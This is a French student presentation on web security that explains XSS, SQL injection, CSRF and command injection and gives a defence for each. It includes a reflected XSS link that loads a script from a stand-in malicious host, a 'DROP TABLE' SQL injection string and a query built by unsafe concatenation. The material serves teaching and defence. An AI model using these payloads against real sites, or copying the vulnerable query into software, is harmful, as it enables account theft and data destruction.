EXPOSE: Sécurité web (Attaque et Défense)

Encadrant Présente par:

M.FOMO  KUENGOU Derick
 YOTCOU Suzanne
 TRAORE Hawa
 PLAN
INTRODUCTION
I. QU’EST-CE QUE LA SECURITE WEB
1.1 DEFINITION
1.2 BUT
1.3 AVANTAGE

II. ATTAQUE DE SECURITE WEB ET

2.1 CROSS (XSS)
2.2 INJECTION SQL
2.3 INJECTION DES COMMANDES

III. PRECOSION ET DEFENSE

3.1 PRECOSION
3.2 DEFENSE

IV. CAS PRATIQUE

CONCLUSION

BIBLIOGRRAPIE
 I. QU’Est-ce QUE LA SECURITE WEB ?
1.1 Défission:
La sécurité du Web est une vaste catégorie de solutions de sécurité destinées à protéger les utilisateurs,
les appareils et les réseaux au sens large contre les cyberattaques basées sur Internet (malwares, phishing et
autres) qui peuvent engendrer des violations et la perte de données.

1.2 But de la sécurité web

Internet est un endroit dangereux ! Fréquemment, nous entendons parler de sites web devenus
indisponibles en raison d'attaques par déni de service, ou affichant des informations modifiées (et souvent
préjudiciables) sur leurs pages d'accueil. Dans d'autres cas, très médiatisés, des millions de mots de passe,
d'adresses électroniques et de détails sur des cartes de crédit sont divulgués au public, exposant les utilisateurs du
site web à la fois à l'embarras personnel et au risque de pertes financières.

Le but de la sécurité des sites web est de prévenir ces types d'attaques. Plus formellement, la sécurité
des sites web est l'acte de protéger les sites web contre l'accès, l'utilisation, la modification, la destruction ou la
perturbation non autorisées.
 1.3 Avantage de la sécurité web

L’installation d’un système de sécurité permet d’assurer la progression et le développement de

l’entreprise, et de distribuer une image positive, surtout pour les entreprises qui reposent sur le commerce par
internet, ainsi construire une liste solide qui regroupent les clients les plus fidèles.

Les avantages d’un système de sécurité son les suivantes:

• Il doit d’abord assurer une protection totale du système d’information.
• Protéger la confidentialité pour toutes les communications de l’entreprise.
• Participer à la culture de l’entreprise.
• Avoir un contrôle sécurisé sur la ressource informatique.
• Sécuriser le retour pendant les investissements.
• Etre apte à correspondre aux invariabilités qui surgissent sur l’état de l’entreprise.
 II) ATTAQUE
Tout ordinateur connecté à un réseau informatique est potentiellement vulnérable à une attaque. Une
« attaque » est l'exploitation d'une faille d'un système informatique (système d'exploitation, logiciel ou bien même de
l'utilisateur) à des fins non connues par l'exploitant du systèmes et généralement préjudiciables.
Sur internet des attaques ont lieu en permanence, à raison de plusieurs attaques par minute sur chaque machine connectée. Ces
attaques sont pour la plupart lancées automatiquement à partir de machines infectées (par des virus, chevaux de Troie, vers,
etc.), à l'insu de leur propriétaire. Plus rarement il s'agit de l'action de pirates informatiques.

Afin de compte ces attaques il est indispensable de connaître les principaux types d'attaques afin de mettre en oeuvre
des dispositions préventives.

Les motivations des attaques peuvent être de différentes sortes :

 obtenir un accès au système ;

 voler des informations, tels que des secrets industriels ou des propriétés intellectuelles ;
 glâner des informations personnelles sur un utilisateur ;
 récupérer des données bancaires ;
 s'informer sur l'organisation (entreprise de l'utilisateur, etc.) ;
 troubler le bon fonctionnement d'un service ;
 utiliser le système de l'utilisateur comme « rebond » pour une attaque ;
 utiliser les ressources du système de l'utilisateur, notamment lorsque le réseau sur lequel il est situé possède une bande
passante élevée
 2.1 Cross-Site Scripting (XSS)
XSS est un terme utilisé pour décrire une classe d'attaque qui permet à l'attaquant d'injecter des scripts, exécutés côté-client, au
travers du site web pour viser le navigateur web des autres utilisateurs. Comme le code injecté provient du site web le
navigateur web le considère comme sûr, il peut de ce fait faire des choses comme transmettre le cookie d'authentification de
l'utilisateur à l'attaquant. Une fois que l'attaquant obtient ce cookie il peut se connecter sur le site comme si il était l'utilisateur
attaqué et peut faire tout ce que l'utilisateur pourrait faire. En fonction du site sur lequel l'attaque se produit, cela peut inclure
l'accès aux détails de carte bancaire, les informations des contacts, la modification du mot de passe, etc.
Il y a deux manières principales pour demander au site de retourner un script injecté vers un navigateur web — elles sont
désignées en tant que vulnérabilités XSS réfléchie et persistante.

Une vulnérabilité XSS réfléchie se produit quand le contenu de l'utilisateur transmis au serveur est immédiatement
retourné, sans avoir été modifié, pour être affiché dans le navigateur

 tout les scripts présents dans le contenu d'origine seront exécutés quand la nouvelle page sera chargée! On prendra par
exemple une fonction de recherche dans un site où les termes recherchés sont encodés en tant que paramètres dans l'URL,

et que ces termes sont affichés en permanence avec les résultats. Un attaquant peut construire un lien de recherche
contenant un script malicieux en tant que paramètre
(ex:http://mysite.com?q=beer<script%20src="http://sitedangereux.com/malicieux.js"></script>) et le transmettre par

e-mail à un autre utilisateur. Si l'utilisateur ciblé clique sur ce "lien intéressant", le script sera exécuté quand les résultats
de la recherche seront affichés. Comme vu auparavant, cela donne à l'attaquant toute les informations dont il a besoin
pour se connecter sur le site avec le compte de la victime — potentiellement faire des achats en tant que cet utilisateur ou
accèder à la liste de contacts..
 Une vulnérabilité XSS persistante sera celle où le script malicieux est stocké sur le site web puis affiché, sans
modification, un peu plus tard par les autres utilisateurs et exécuté à leur insu. Par exemple, un écran de discussion qui
accepte les commentaires contenant du code HTML pur peuvent stocker le script malicieux de l'attaquant. Quand les
commentaires sont affichés le script est exécuté et peut ensuite transmettre à l'attaquant les informations nécessaires pour
accèder au compte de l'utilisateur. Cette méthode d'attaque est extrêmement courante et efficace, parce que l'attaquant n'a
pas besoin d'avoir une relation directe avec les victimes. Alors que l'envoi de données avec POST ou GET est la source
la plus commune de vulnérabilité XSS, toute donnée en provenance du navigateur web est potentiellement vulnérable
(cela inclut l'affichage des données des cookies par le navigateur, ou les fichiers de l'utilisateur qui sont chargés et
affichés).
La meilleur défense contre les vulnérabilités XSS est de supprimer ou désactiver toutes les balises qui peuvent
potentiellement contenir des instructions pour exécuter du code. Pour HTML cela inclut les tags comme <script>, <object>,
<embed>, et <link>.

Il est nécessaire de traiter les données saisies par l'utilisateur pour être sûr qu'il ne puisse ni exécuter de scripts ni pertuber le
fonctionnement normal du site (ce procédé est appelé input sanitization en anglais). De nombreux frameworks proposent par
défaut cette vérification sur les entrées des formulaires.
2.2 Injection SQL
L'injection SQL est une vulnérabilité qui permet à un attaquant d'exécuter du code SQL frauduleux sur une base
de données, permettant l'accès, la modification ou la suppression des données quelque soit le droit de
l'utilisateur. Une attaque par injection réussie peut permettre l'usurpation d'un compte, la création d'un compte
avec les droits administrateur, l'accès à toute les données du serveur, ou la modification / destruction des
données pour le rendre inutilisable.

Cette vulnérabilité est présente quand la saisie de l'utilisateur est transmise à une requête SQL sous-jacente qui
peut modifier le sens de la requête. Par exemple, dans le code ci-dessous qui devrait lister l'ensemble des
utilisateurs avec un nom particulier (userName) et qui provient d'un formulaire HTML:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Si l'utilisateur entre un nom correct cela marchera comme voulu. Cependant un utilisateur malveillant peut changer
complètement le sens de cette requête SQL pour obtenir la requête qui suit, simplement en ajoutant le texte, en gras
ci dessous, en tant que nom, cette requête, modifiée, va créer une requête SQL valide qui va supprimer la table
users et sélectionner toute les données de la table userinfo (révèlant les informations de chaque utilisateur). Tout
cela est rendu possible à cause du début du texte injecté ('a';) qui va complèter la requête d'origine (' est le symbole
pour délimiter une chaine de texte en SQL).
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

Le moyen pour éviter ce type d'attaque est de s'assurer que toute saisie de l'utilisateur transmise à une requête SQL
ne peut pas changer la nature de cette requête. Un moyen de faire cela est d'échapper tous les caractères de la saisie
utilisateur quand ils ont un sens particulier en SQL.
Exemple: SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo
WHERE \'t\' = \'t';
Dans la requête ci-dessous nous avons échappé le caractère '. Le SQL va donc interpréter la chaine complète (en
gras) comme un nom (un nom étrange en effet, mais pas nuisible).
2.3 Falsification de requête inter-sites (CSRF)
Les attaques CSRF permettent à un utilisateur malveillant d'éxécuter des actions à l'aide des identifiants d'un autre
utilisateur sans que cet utilisateur ne soit informé ou consentant.

Ce type d'attaque s'explique mieux avec un exemple. John est l'utilisateur malveillant qui sait qu'un site particulier
permet à des utilisateurs authentifiés d'envoyer de l'argent vers un compte particulier en utilisant des requêtes
HTTP POST qui incluent le numéro de compte et le montant. John construit un formulaire qui inclut son numéro
de compte et un montant dans des champs cachés (invisibles) et le transmet à un autre utilisateur du site (avec le
bouton de validation déguisé en un lien vers un site "pour devenir riche".

Si un utilisateur clique sur le bouton de validation, une requête HTTP POST, contenant les informations de
transaction, va être transmise au serveur ainsi que le cookie que le navigateur web associe au site (l'ajout à la
requête du cookie associé au site est le comportement normal du navigateur). Le serveur va vérifier le cookie
d'authentification, et l'utiliser pour déterminer si l'utilisateur est ou n'est pas connecté et donc permet ou non la
transaction.

Au final tout utilisateur qui va cliquer sur le bouton de validation, alors qu'il sera connecté sur le site d'échange
d'argent, va autoriser la transaction. John va devenir riche !
Un moyen de prévenir ce type d'attaque est que le serveur demande que chaque requête POST possède un secret
généré par le serveur et spécifique à l'utilisateur (le secret serait transmis par le serveur lors de l'envoi du formulaire
de transaction). Cette approche empêche John de créer son propre formulaire car il n'est pas capable de connaitre le
secret que le serveur founit à l'utilisateur. Même si il venait à trouver ce secret et créer un formulaire pour un
utilisateur particulier, il ne pourrait pas utiliser ce formulaire pour attaquer d'autres utilisateurs.
2.4 Injection par commande
L'injection de commandes est une attaque dont le but est l'exécution de commandes arbitraires sur le système
d'exploitation hôte via une application vulnérable. Les attaques par injection de commande sont possibles lorsqu'une
application transmet des données non sécurisées fournies par l'utilisateur (formulaires, cookies, en-têtes HTTP, etc.)
à un shell système. Dans cette attaque, les commandes du système d'exploitation fournies par l'attaquant sont
généralement exécutées avec les privilèges de l'application vulnérable. Les attaques par injection de commande sont
possibles en grande partie en raison d'une validation d'entrée insuffisante.
Cette attaque diffère de Code Injection , en ce que l'injection de code permet à l'attaquant d'ajouter son propre code
qui est ensuite exécuté par l'application. Dans Command Injection, l'attaquant étend la fonctionnalité par défaut de
l'application, qui exécute des commandes système, sans avoir besoin d'injecter du code.